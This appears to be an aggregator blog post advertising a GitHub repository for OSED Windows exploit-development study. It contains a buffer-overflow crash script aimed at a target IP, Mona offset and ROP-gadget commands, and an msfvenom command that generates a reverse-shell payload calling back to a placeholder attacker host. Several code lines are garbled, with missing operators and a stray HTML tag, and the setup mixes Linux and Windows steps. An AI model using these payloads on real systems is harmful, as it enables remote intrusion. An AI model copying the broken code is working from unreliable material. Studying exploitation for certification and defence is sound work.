OSED Exploit Development and Windows Vulnerability Research Guide

GitHub Repo: nop-tech/OSED

This repository is a goldmine for aspiring exploit developers and security researchers focusing on Windows vulnerabilities. It includes structured notes, practice binaries with solutions, and blog posts tailored for the Offensive Security Exploit Developer (OSED/EXP-301) certification.

You Should Know:

1. Setting Up the Lab

Before diving into exploit development, ensure your environment is ready:
– Windows VM (Windows 10/11 for testing)
– Immunity Debugger / WinDbg (for debugging)
– Mona.py (for exploit automation)
– Python 2.7/3.x (for scripting exploits)

Commands to Install Essentials:

 Install Python 2.7 (for legacy exploit scripts) 
sudo apt install python2.7

Download Immunity Debugger (Windows) 
wget https://www.immunityinc.com/downloads/Immunity_Debugger_1_85_setup.exe

Install Mona.py 
!mona config -set workingfolder C:\mona\%p 

2. Basic Stack-Based Buffer Overflow

A common exploit technique in Windows:

 Exploit skeleton in Python 
import socket

target = "192.168.1.100" 
port = 9999

payload = b"A"  2000  Crash trigger

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 
s.connect((target, port)) 
s.send(payload) 
s.close() 

3. Finding the EIP Offset

Use Mona.py to locate the exact crash offset:

!mona findmsp -distance 2000 

4. Generating Shellcode

Using msfvenom for reverse shell payload:

msfvenom -p windows/shell_reverse_tcp LHOST=YOUR_IP LPORT=4444 -f python -b "\x00" 

5. Bypassing DEP & ASLR

• ROP Chains: Use Mona to find ROP gadgets:

  !mona rop -m kernel32.dll 
  

• Heap Spraying: Allocate memory dynamically.

What Undercode Say:

Exploit development is a critical skill in cybersecurity, particularly for penetration testers and red teamers. The OSED repo provides an excellent structured approach to learning Windows exploit development.

Additional Commands & Tools:

• Metasploit Framework: `msfconsole`
• GDB (Linux): `gdb -q ./vulnerable_binary`
• Pwntools (Python):

  from pwn import<br />
  p = process("./vulnerable_binary") 
  p.sendline(cyclic(1000)) 
  

Expected Output:

A successful exploit should grant a reverse shell or system-level access, proving the vulnerability’s exploitability.

Prediction:

As Windows security evolves (e.g., Windows Defender Exploit Guard), exploit techniques will shift towards kernel-level attacks and zero-day vulnerabilities. Researchers must adapt by mastering advanced ROP, kernel debugging, and hardware-based exploits (e.g., Rowhammer).

For hands-on practice, visit: nop-tech/OSED GitHub

IT/Security Reporter URL:

Reported By: Jack Vituli – Hackers Feeds
Extra Hub: Undercode MoN
Basic Verification: Pass ✅

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